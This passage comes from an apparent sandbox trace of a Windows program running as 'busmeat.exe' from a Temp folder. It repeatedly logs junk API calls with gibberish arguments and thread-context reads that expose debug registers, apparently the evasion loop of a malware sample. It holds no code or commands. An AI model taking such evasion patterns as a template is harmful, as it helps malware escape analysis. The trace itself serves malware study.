[329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.205] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.206] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.207] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.207] GetConsoleCP () returned 0x0
	[0066.207] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.207] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.207] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.207] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.207] GetConsoleCP () returned 0x0
	[0066.208] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.208] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.208] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.208] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.208] GetConsoleCP () returned 0x0
	[0066.208] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, 